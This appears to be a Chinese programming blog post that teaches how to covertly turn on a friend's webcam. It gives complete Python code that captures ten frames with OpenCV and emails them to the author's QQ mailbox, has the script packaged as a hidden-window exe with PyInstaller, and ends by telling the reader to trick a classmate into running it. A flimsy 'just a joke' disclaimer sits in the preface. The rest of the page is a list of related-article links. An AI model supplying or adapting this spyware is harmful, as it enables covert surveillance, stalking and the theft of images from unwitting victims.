用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
Python-基础-入门 简介
Aug 09 Python
Python的Flask框架中Flask-Admin库的简单入门指引
Apr 07 Python
Python浅拷贝与深拷贝用法实例
May 09 Python
简单掌握Python中glob模块查找文件路径的用法
Jul 05 Python
Python3几个常见问题的处理方法
Feb 26 Python
Python实现根据日期获取当天凌晨时间戳的方法示例
Apr 09 Python
Python实现计算对象的内存大小示例
Jul 10 Python
python3发送邮件需要经过代理服务器的示例代码
Jul 25 Python
python爬虫中多线程的使用详解
Sep 23 Python
Pandas 缺失数据处理的实现
Nov 04 Python
pytorch中 gpu与gpu、gpu与cpu 在load时相互转化操作
May 25 Python
python编程的核心知识点总结
Feb 08 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
php 注释规范
2012/03/29 PHP
简单介绍win7下搭建apache+php+mysql开发环境
2015/08/06 PHP
PHP简单实现二维数组赋值与遍历功能示例
2017/10/19 PHP
Yii2框架配置文件(Application属性)与调试技巧实例分析
2019/05/27 PHP
CCPry JS类库 代码
2009/10/30 Javascript
基于JQuery的一个简单的鼠标跟随提示效果
2010/09/23 Javascript
Javascript实现的类似Google的Div拖动效果代码
2011/08/09 Javascript
JS+JSP checkBox 全选具体实现
2014/01/02 Javascript
js获取上传文件大小示例代码
2014/04/10 Javascript
通过js为元素添加多项样式,浏览器全兼容写法
2014/08/30 Javascript
javascript 操作符(~、&amp;、|、^、)使用案例
2014/12/31 Javascript
PHP+jQuery+Ajax+Mysql如何实现发表心情功能
2015/08/06 Javascript
jQuery实现的淡入淡出二级菜单效果代码
2015/09/15 Javascript
jQuery height()、innerHeight()、outerHeight()函数的区别详解
2016/05/23 Javascript
详解Angular开发中的登陆与身份验证
2016/07/27 Javascript
一步一步封装自己的HtmlHelper组件BootstrapHelper(二)
2016/09/14 Javascript
如何利用模板将HTML从JavaScript中抽离
2016/10/08 Javascript
浅谈JavaScript的自动垃圾收集机制
2016/12/15 Javascript
Vue.js鼠标悬浮更换图片功能
2017/05/17 Javascript
nodejs 最新版安装npm 的使用详解
2018/01/18 NodeJs
vue-cli脚手架build目录下utils.js工具配置文件详解
2018/09/14 Javascript
jQuery实现点击图标div循环放大缩小功能
2018/09/30 jQuery
卸载vue2.0并升级vue_cli3.0的实例讲解
2020/02/16 Javascript
Vue select 绑定动态变量的实例讲解
2020/10/22 Javascript
[19:14]DOTA2 HEROS教学视频教你分分钟做大人-维萨吉
2014/06/24 DOTA
Python tempfile模块学习笔记(临时文件)
2014/05/25 Python
Python入门篇之字符串
2014/10/17 Python
TensorFlow模型保存和提取的方法
2018/03/08 Python
python解决pandas处理缺失值为空字符串的问题
2018/04/08 Python
五款漂亮的纯CSS3动画按钮的实例教程
2014/11/21 HTML / CSS
HTML5页面音视频在微信和app下自动播放的实现方法
2016/10/20 HTML / CSS
护士在校生自荐信
2014/02/01 职场文书
高校教师岗位职责
2014/03/18 职场文书
人力资源管理专业毕业生自荐书
2014/05/25 职场文书
媒体宣传策划方案
2014/05/25 职场文书
2015年师德表现自我评价
2015/03/05 职场文书